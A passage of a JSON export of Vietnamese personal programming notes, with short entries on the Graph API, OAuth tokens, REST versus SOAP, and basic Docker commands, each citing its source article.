\"width\": 50\r\n }\r\n }\r\n}\r\n```\r\n\r\n### Complex Parameters\r\n\r\nMost parameter types are straightforward primitives such as `bool`, `string` and `int`, but there are also `list` and `object` types that can be specified in the request.\r\n\r\nThe `list` type is specified in JSON syntax, for example: `[\"firstitem\", \"seconditem\", \"thirditem\"]`\r\n\r\nThe `object` type is also specified in JSON syntax, for example: `{\"firstkey\": \"firstvalue\", \"secondKey\": 123}`\r\nNguồn:: [Overview - Graph API](https://developers.facebook.com/docs/graph-api/overview)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-25T17:13:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Ut" + }, + { + "Tiêu đề": "Node với edge được gọi chung là endpoint", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL/Node với edge được gọi chung là endpoint", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Ví dụ, \"send a GET request to the User endpoint\".\r\nNguồn:: [Overview - Graph API](https://developers.facebook.com/docs/graph-api/overview) \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-25T17:14:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uu" + }, + { + "Tiêu đề": "GraphQL phù hợp cho app điện thoại, gRPC phù hợp khi cần tốc độ cao với ít tài nguyên", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL phù hợp cho app điện thoại, gRPC phù hợp khi cần tốc độ cao với ít tài nguyên", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Còn lại dùng Open API\r\nNguồn:: <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/0gH-hSyWp9o?si=TdhXcmtHVMtnEFKJ&start=556\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uv" + }, + { + "Tiêu đề": "Auth không phải là xác thực", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Auth không phải là xác thực", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Chắc hẳn nhiều người sẽ cảm thấy xa lạ với từ OAuth. Bởi OAuth có chứa cụm Auth nên có lẽ các bạn cũng đã hình dung đái khái rằng nó có liên quan đến xác thực người dung. Thế nhưng còn “O” thì sao? “O” có ý nghĩa gì? Trường hợp tên chính thức của một sự vật, hiện tượng được cấu thành bằng một từ viết tắt, việc gặp khó khăn khi đi tìm từ nguyên gốc là điều tất nhiên.\r\n\r\nVậy thì, trước tiên chúng ta hãy bỏ qua việc đi tìm ý nghĩa của từng từ đơn cấu thành nên OAuth. Hãy cùng tìm hiểu xem kỹ thuật này được ứng dụng ở đâu? Trong số những câu trả lời cho câu hỏi này, có một đáp án quen thuộc đến mức khiến nhiều người bất ngờ: Tính năng liên kết giữa các mạng xã hội.\r\n\r\nHãy thử tưởng tượng trường hợp bạn đăng một bức ảnh lên Instagram và đồng thời muốn bức ảnh ấy xuất hiện trên trang Facebook của bạn. Khi đó, bạn sẽ thực hiện thao tác đăng ký tài khoản Facebook liên kết với tài khoản Instagram. Sau khi thực hiện xong việc đăng ký này, những bức ảnh bạn đăng tải trên trang Instagram của bạn cũng sẽ trở thành bài đăng Facebook. Với Instagram, bạn không chỉ có thể thực hiện liên kết với Facebook mà còn có thể liên kết tài khoản của mình với các tài khoản SNS khác như Twitter, Tumblr, v.v. Đảm nhận vai trò nòng cốt cho tính năng liên kết này chính là OAuth.\r\n\r\n# “Auth” không phải là “Xác thực”\r\n\r\nTrong trường hợp vừa nêu trên chúng ta tất nhiên phải thực hiện xác thực người dung trên Instagram. Vậy còn các SNS như Facebook, Twitter thì phải làm sao? Tất nhiên, phía Instagram không sở hữu các thông tin xác thực như User ID, password bạn sử dụng cho tài khoản Facebook.\r\n\r\nLúc này, hãy cùng nhau xem lại nguồn gốc của từ “Auth”. Từ “Auth” thực ra không phải là viết tắt của từ xác thực - “Authentification”, mà có nguồn gốc từ “Authorization” nghĩa là cấp phép. Authentification – Authorization, đây là 2 từ khá tương tự nhau nhưng lại là 2 từ khác biệt.\r\n\r\n*“Xác thực” nghĩa là xác nhận một đối tượng là ai. Cụ thể hơn một chút, authenfication là danh từ để chỉ việc xác nhận người sắp thực hiện thao tác là bản thân user mà không phải ai khác. *\r\n\r\nVí dụ tiêu biểu cho Authentification là mã PIN hay password của thẻ ngân hàng. Việc xác thực bằng userID và mật khẩu đang đem đến nhiều lợi ích cho con người. Những năm gần đây, việc xác thực người dung càng trở nên an toàn và bảo mật hơn nhờ vào sự xuất hiện và phổ cập của Biometric authentication.\r\n\r\nVậy Authorization - Cấp phép là gì?\r\n\r\n***Cấp phép nghĩa là cho phép đối tượng được cấp quyền được làm một việc nào đó, tức là sự chỉ định việc được phép làm. ***\r\n\r\nTrong ví dụ kể trên, một user Instagram đã thông qua một số thủ tục nhất định, cho phép một user Facebook tự động đăng tải bài viết của mình. Hành động được thực hiện ở đây là cho phép thao tác đăng bài được thực hiện, chứ không phải xác nhận user đó là ai trên Facebook.\r\n\r\nKết quả là, user không cần login phía Facebook mà vẫn có thể đăng bài thông qua Instagram. Ví dụ tôi đưa ra ở đây là ví dụ về việc liên kết SNS. Tuy nhiên, thực tế, cơ chế OAuth được sử dụng ngày càng phổ biến ở các Web application.\r\n\r\nVề chữ cái “O” trong OAuth, ngay cả trên trang chính thức cũng không có sự giải thích tường minh, tuy nhiên, vì OAuth là open standard nên ta có lẽ có thể hiểu rằng O là viết tắt của Open.\r\n\r\n# Token sử dụng cho việc cấp quyền\r\n\r\nTất yếu cần có quy tắc cho việc cấp quyền. Nếu không có bất cứ quy tắc, quy định nào, application có thể bị sự công kích từ người dung xấu và dẫn tới những hậu quả khó có thể tồn tại. Quy tắc ở đây là phương pháp trao access token. Access token là token biểu thị request được cho phép, có vai trò giống như một chiếc chìa khóa. Chiệc “chìa khóa” này được authorization server cấp cho client application.\r\n\r\nThực tế, với OAuth 2.0 được tiêu chuẩn hóa theo RFC6749, quy trình response một access token request đã được tiêu chuẩn hóa. Nói rằng OAuth được sử dụng trong việc liên kết SNS là bởi nó là thủ tục để một application khác có được những thông tin mong muốn. Server của Application sẽ nhận được access token thông qua API, tiến hành phân tích token. Nếu request đã được cấp phép, server sẽ tiến hành xử lý và trả về các thông tin cần thiết.\r\n\r\n# Mối quan hệ của OAuth và OpenID\r\n\r\nViệc cấp quyền bằng cách sử dụng OAuth rất tiện lợi nhưng không phải là vạn năng. Việc không có chức năng login thể hiện sự tạm thời, không ổn định. Chính vì vậy, OAuth 2.0 được mở rộng, thêm vào chức năng xác thực và get thuộc tính, trở thành phương pháp liên kết ID với tên gọi OpenID Connect.\r\n\r\nỞ đây, hãy lưu ý OpenID Connect và OpenID 2.0 có chung một phần tên gọi, nhưng đây là 2 khái niệm khác nhau. OpenID có tên gọi chính thức là OpenID Authentication, là việc chia sẻ xác thực người dung thông qua Internet.\r\n\r\nKhi một người dung đồng thời sử dụng nhiều application và website, việc quản lý nhiều bộ thông tin userID, password rất phiền phức.\r\n\r\nOAuth và OpenID là những kỹ thuật được sử dụng nhằm tiếp cận mục đích này.\r\n\r\n# ▼Referenced link:\r\n\r\nOAuth2.0 Official site: [https://oauth.net/2/](https://oauth.net/2/)\r\n\r\nRFC6749 The OAuth 2.0 Authorization Framework [https://tools.ietf.org/html/rfc6749](https://tools.ietf.org/html/rfc6749)\r\n\r\nNguồn:: [[Viblo]], [OAuth là gì? Kỹ thuật gần gũi với đời sống của chúng ta](https://viblo.asia/p/oauth-la-gi-ky-thuat-gan-gui-voi-doi-song-cua-chung-ta-3P0lP2bgKox)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uw" + }, + { + "Tiêu đề": "Authorization sinh ra access token để client sử dụng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Authorization sinh ra access token để client sử dụng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "**Authorization server:** làm nhiệm vụ xác thực, kiểm tra thông tin mà user gửi đến từ đó cấp quyền truy cập cho ứng dụng bằng việc sinh ra các đoạn mã **access token**. Đôi khi _authorization server_ cũng chính là _resource server_.\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n[[Client gửi access token đến authorization server để được truy cập]]\r\n[[Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới]]\r\n[[Client là ứng dụng muốn truy cập vào dữ liệu của user]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Ux" + }, + { + "Tiêu đề": "Client gửi access token đến authorization server để được truy cập", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Client gửi access token đến authorization server để được truy cập", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Là một đoạn mã dùng để xác thực quyền truy cập, cho phép ứng dụng bên thứ 3 có thể truy cập vào những dữ liệu của người dùng trong một phạm vi nhất định mà nó cho phép. Token này được gửi bởi **Client** như một tham số được truyền vào _hreader_ trong mỗi request khi cần truy cập đến tài nguyên trong **Resource server**.\r\n\r\nNếu để lộ mất _access token_ thì cũng có thể coi như bị lộ _password_ bởi có thể lợi dụng nó để lấy được những tài nguyên mà nó đang bảo vệ. Vì vậy, _access token_ có một thời gian sử dụng nhất định (2 giờ, 2 tháng...) tùy thuộc vào nhu cầu sử dụng cũng như yêu cầu về tính bảo mật. _Access token_ chỉ được sử dụng một lần duy nhất, khi nó hết hiệu lực **Client** sẽ phải gửi lại yêu cầu đến **Authorization server** để lấy một mã _access token_ mới.\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n\r\n[[Authorization sinh ra access token để client sử dụng]] \r\n[[Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới]] \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uy" + }, + { + "Tiêu đề": "Client ID là để authorization server biết client nào là client nào, còn client secret là để nó đảm bảo rằng client này chính là client đó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Client ID là để authorization server biết client nào là client nào, còn client secret là để nó đảm bảo rằng client này chính là client đó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uz" + }, + { + "Tiêu đề": "Client là ứng dụng muốn truy cập vào dữ liệu của user", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Client là ứng dụng muốn truy cập vào dữ liệu của user", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Cách dùng password để truy cập dữ liệu người dùng gọi là client login\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n[[Client gửi access token đến authorization server để được truy cập]] \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "U-" + }, + { + "Tiêu đề": "Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Được sinh ra bởi **Authorization server**, cùng lúc với _access token_ nhưng lại khác nhau về chức năng. _Refresh token_ sẽ được gửi đi để lấy về một _access token_ mới khi nó hết hạn, cũng chính vì vậy nó có thời gian hiệu lực lâu hơn _access token_. Với _access token_ thời gian hiệu lực có thể là 2 giờ thì _refresh token_ có thể lên đến 10 giờ.\r\n\r\nViệc có mặt của _refresh token_ giúp cho **Client** có thể lấy lại được _access token_ mà không cần phải nhận xác thực lại từ phía người dùng. Nếu người dùng đăng xuất, _refresh token_ cũng sẽ bị xóa theo.\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "U_" + }, + { + "Tiêu đề": "OAuth giúp vẫn biết user kể cả khi user đổi mật khẩu", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/OAuth giúp vẫn biết user kể cả khi user đổi mật khẩu", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V0" + }, + { + "Tiêu đề": "OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "OAuth 2 là một khung ủy quyền cho phép các ứng dụng có quyền truy cập hạn chế vào tài khoản và dữ liệu người dùng. Chủ sở hữu dữ liệu có thể cấp cho ứng dụng quyền truy cập vào dữ liệu của họ. Người dùng không phải chia sẻ thông tin đăng nhập và mật khẩu của họ với ứng dụng, nếu sau đó người dùng thay đổi mật khẩu ở đó ứng dụng sẽ vẫn có quyền truy cập. Người dùng cũng có thể cấp quyền truy cập giới hạn ứng dụng. Trong thế giới cũ nếu tôi đã cung cấp một ứng dụng, thông tin đăng nhập và mật khẩu của tôi cho Google, ứng dụng sẽ có quyền truy cập vào toàn bộ tài khoản Google của tôi. Với OAuth, tôi có thể cấp cho ứng dụng quyền truy cập vào tài khoản Google Drive mà không cấp cho họ quyền truy cập vào dữ liệu GMail.\r\n\r\nNguồn:: [Open Authentication | Daimto](https://www.daimto.com/open-authentication/)\r\n\r\nCách dùng password để truy cập dữ liệu người dùng gọi là client login\r\n[[OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V1" + }, + { + "Tiêu đề": "Redirect URI là nơi", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Redirect URI là nơi", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "The authentication server needs to know where to return the authentication.  In the case of native applications, the authentication server returns authentication to the sample IP address or location as the request is received from.    In the case of web applications, the server returns the authentication to the website.\r\n\r\n[![Client ID for native application Client ID for web application](https://www.daimto.com/wp-content/uploads/2015/07/Oauth2.png)](https://www.daimto.com/wp-content/uploads/2015/07/Oauth2.png \"Client ID for native application Client ID for web application\")\r\n\r\nNguồn:: [Fetching Title#grd8](https://www.daimto.com/open-authentication/)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V2" + }, + { + "Tiêu đề": "Scope là những phạm vi dữ liệu khi ứng dụng truy cập", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Scope là những phạm vi dữ liệu khi ứng dụng truy cập", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V3" + }, + { + "Tiêu đề": "❓OAuth là cấp phép cho ai, token là cấp phép được làm cái gì", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/❓OAuth là cấp phép cho ai, token là cấp phép được làm cái gì", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V4" + }, + { + "Tiêu đề": "RESTful là REST không có hypermedia", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/RESTful là REST không có hypermedia", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Turns out REST APIs weren't the answer (and that's OK!) - YouTube](https://www.youtube.com/watch?v=0gH-hSyWp9o&lc=UgyMopzH-4IhTQh6BeB4AaABAg)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V5" + }, + { + "Tiêu đề": "Web service là những API dùng trên HTTP", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/Web service là những API dùng trên HTTP", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau]]\r\n## What is Web API?\r\n\r\n- An API (Application Programming Interface) is the means by which third parties can write code that interfaces with other code.\r\n-  A Web Service is a type of API, one that almost always operates over HTTP (though some, like SOAP, can use alternate transports, like SMTP).\r\n- Web API is typically done as HTTP/SMTP (REST/SOAP), output can be eg: JSON/XML, input can be XML/JSON or plain data.\r\n\r\n[![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_1134,h_1078/https://lcdung.top/wp-content/uploads/2018/07/apis-devices.jpg)](https://lcdung.top/web-services-apis/apis-devices/)\r\n\r\n## SOAP vs REST comparison\r\n\r\n#### Origin\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– REST (Representational State Transfer) was Created in 2000 by Roy Fielding in UC, Irvine. <br>– Developed in an academic environment, this protocol embraces the philosophy of the open Web|– SOAP (Simple Object Access <br>Protocol), was created in 1998 by Dave Winer et al in collaboration <br>with Microsoft. <br>– Developed by a large software company, this protocol addresses the goal of addressing the needs of the enterprise market.|\r\n\r\n#### BASIC CONCEPT\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Makes data  vailable as resources (nouns), for example “user” or “invoice”|– Makes data available as services (verb + noun), for example “getUser” or “PayInvoice”|\r\n\r\n#### ADVANTAGES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Follows the philosophy of the Open Web <br>– Relatively easy to implement and maintain <br>– Clearly separates client and server implementations <br>– Communication isn’t controlled by a single entity <br>– Information can be stored by the client to prevent multiple calls <br>– Can return data in multiple formats (JSON, XML etc)|– Follows a formal enterprise <br>approach <br>– Works on top of any communication protocol, even asynchronously <br>– Information about objects is communicated to clients <br>– Security and authorization are part of the protocol <br>– Can be fully described using WSDL|\r\n\r\n#### DISADVANTAGES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Only works on top of the HTTP <br>protocol. <br>– Hard to enforce authorization and security on top of it|– Spends a lot of bandwidth communicating metadata. <br>– Hard to implement and is unpopular among Web and mobile developers. <br>– Uses only XML.|\r\n\r\n#### WHEN TO USE\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– When clients and servers operate on a Web environment <br>– When information about objects doesn’t need to be communicated to the client|– When clients need to have access to objects available on servers <br>– When you want to enforce a formal contract between client and server|\r\n\r\n#### COMMON USE CASES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Social Media services <br>– Social Networks <br>– Web Chat services <br>– Mobile Services <br>– Synchronize applications|– Financial services <br>– Payment gateways <br>– Telecommunication services|\r\n\r\n#### POPULAR EXAMPLES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Facebook APIs <br>– Google APIs <br>– YouTube APIs <br>– Twitter APIs <br>– LinkedIn APIs <br>– Instagram APIs|– Salesforce SOAP API <br>– Paypal SOAP API <br>– Clickatell SMS SOAP API <br>– Almost Banking Systems|\r\n\r\n## APIs Security\r\n\r\n- IPs Whitelist\r\n- Authentication (Oauth, Api Key…)\r\n- Username/Password Scenarios\r\n- Security Tokens + Signature\r\n- Namespaces Required\r\n- The Header\r\n\r\n## Caching Data\r\n\r\n#### Why to optimize?\r\n\r\n- Increase visitor retention/engagement and loyalty.\r\n- Better ranking on Google Search (SEO).\r\n- Reduce the response time.\r\n- Improve page load time.\r\n- Make the customer happier.\r\n-  Reduce network throughput in some types of optimization.\r\n- Save customer money on bandwidth (mobile network).\r\n- Helps the environment saving energy.\r\n- COST !!!\r\n\r\n#### COST !!!\r\n\r\n- Reduce resource usage (CPU/Memory/DiskIO)\r\n- Reduce network throughput\r\n- Reduce requests queueing\r\n- Reduce number or size of instances\r\n- Increase number of concurrent requests per instance\r\n\r\n#### Cache Types\r\n\r\n- APC Cache\r\n- Memcache\r\n- Files Cache\r\n- Severs Cache (Redis, Varnish)\r\n\r\n## Logging\r\n\r\n#### Why to log?\r\n\r\n- Storage any actions from users\r\n- Tracking system problems\r\n- Code checking\r\n- Customer support quickly\r\n- Logging\r\n- Avoid legal risks\r\n\r\n#### Logging Levels\r\n\r\n- FATAL\r\n- ERROR\r\n- WARNING\r\n- INFO\r\n- DEBUG\r\n\r\n## Testing\r\n\r\n#### Why should we do API testing?\r\n\r\nCan help find/isolate problems:\r\n\r\n- Security\r\n- Robustness\r\n- Functionality\r\n- Testing\r\n\r\nReduce business costs\r\n\r\nNguồn:: [Web services (APIs) - LCDUNG](https://lcdung.top/web-services-apis/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V6" + }, + { + "Tiêu đề": "Container chỉ là một process", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Container chỉ là một process", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Cho nên lệnh để liệt kê tất cả các container đang chạy là `docker ps`, để cho giống với lệnh liệt kê tất cả các process đang chạy trên shell là `ps`\r\n\r\nLệnh `docker ps` này tương đương với `docker container ls`. Để liệt kê tất cả các container bất kể có đang chạy hay không, dùng `docker ps -a`.\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V7" + }, + { + "Tiêu đề": "Container là phù du", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Container là phù du", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [10 things to avoid in docker containers | Red Hat Developer](https://developers.redhat.com/blog/2016/02/24/10-things-to-avoid-in-docker-containers)\r\nNếu cần lưu trữ dữ liệu, hãy dùng volume. [[Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo]]\r\n\r\nĐể tự động xoá container sau khi nó chạy xong, dùng `--rm` khi tạo từ image. Nếu kết hợp cờ này với `-it` và bash sẽ hữu ích cho việc debug image:\r\n```\r\ndocker run --rm -it [IMAGE] bash\r\n```\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-02T17:04:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V8" + }, + { + "Tiêu đề": "Có vẻ như ngày xưa engine với daemon là một", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Có vẻ như ngày xưa engine với daemon là một", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Có vẻ như sau này engine đã được định nghĩa lại để [[Engine bao gồm CLI client, API và deamon|bao gồm CLI client, API và deamon]]\r\n\r\nNguồn:: [Difference between Docker Desktop and Docker Engine - General Discussions - Docker Community Forums](https://forums.docker.com/t/difference-between-docker-desktop-and-docker-engine/124612/14?u=ooker)\r\n\r\n---\r\n\r\n![](https://cuongquach.com/wp-content/uploads/2019/12/daemon-trong-linux-la-gi.jpg) \r\n**Daemon** là một loại chương trình trên các hệ điều hành **Like-Unix** hoạt động ẩn trong background không cần sự kiểm soát bởi user. **Daemon** sẽ được kích hoạt bởi một sự kiện hoặc điều kiện nào đó xảy ra cụ thể.\r\n\r\nThuật ngữ **daemon** có nguồn gốc từ các daemon trong thuần thoại Hy Lạp, đó là những sinh vật siêu nhiên được xếp hạng giữa các vị thần và những con người, sở hữu kiến thức uyên thâm và quyền lực. **Socrates** từng nói rằng có một daemon đưa ra cảnh báo và lời khuyên nhưng không bao giờ ép buộc anh theo dõi nó.\r\n\r\nTừ **daemon** được sử dụng lần đầu tiên trong dự án **MAC** (sau này trở thành phòng lab MIT) sử dụng **IBM 7094** vào năm 1963. Cách dùng từ ngữ này được lấy cảm hứng từ các daemon trong vật lý và nhiệt động lực học của Maxwell, đã giúp phân loại các phân tử có tốc độ khác nhau và thuật ngữ này cũng được mô tả quá trình hoạt động không ngừng nghỉ của các process trong hệ thống dưới background. Sau này, nó còn được diễn giãi với cách dùng từ viết tắt của **Disk And Execution Monitor**.\r\n\r\nNguồn:: [Daemon trong Linux là gì ? - Technology Diver](https://cuongquach.com/daemon-trong-linux-la-gi.html)\r\n\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-03T14:06:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V9" + }, + { + "Tiêu đề": "Docker Desktop tạo ra một máy ảo để chạy docker engine", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Docker Desktop tạo ra một máy ảo để chạy docker engine", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ 